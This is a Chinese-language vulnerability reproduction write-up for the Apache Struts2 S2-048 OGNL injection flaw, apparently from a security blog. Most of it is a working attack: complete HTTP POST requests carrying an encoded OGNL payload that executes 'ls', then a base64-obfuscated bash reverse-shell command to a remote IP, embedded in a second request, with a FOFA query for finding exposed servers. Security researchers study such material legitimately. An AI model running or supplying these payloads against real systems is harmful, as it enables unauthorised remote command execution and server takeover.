-Struts2-048 远程命令执行漏洞

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漏洞复现-Struts2-048 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术，实现了基于JavaEEWeb应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。在Struts2-048中，攻击者可以将用户可控的值添加到ActionMessage并在客户前端展示，导致其进入getText函数，最后message被当作ognl表达式执行远程命令。

0x03 漏洞复现

漏洞影响:struts2 2.3.x

FOFA:Struts2

1.构造poc查看文件ls

POST /integration/saveGangster.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 594
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/integration/saveGangster.action
Cookie: JSESSIONID=1F7986690CEA7EF6AF7022160DA1665F
Upgrade-Insecure-Requests: 1

name=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream())).(%23q)%7D&age=1&__checkbox_bustedBefore=true&description=1

2.构造反弹shell脚本，网址：http://ir0ny.top/pentest/reverse-encoder-shell.html

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCxTxuMTY4LjEuMxvNzcxNyAwPiYx}|{base64,-d}|{bash,-i}

3.nc监听，并执行反弹shell命令，得到一个shell

POST /integration/saveGangster.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 713
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/integration/saveGangster.action
Cookie: JSESSIONID=1F7986690CEA7EF6AF7022160DA1665F
Upgrade-Insecure-Requests: 1

name=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvxGV2LxRjcCx8xOTIuMTY4LjEuMTIvNzc3NyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D').getInputStream())).(%23q)%7D&age=1&__checkbox_bustedBefore=true&description=1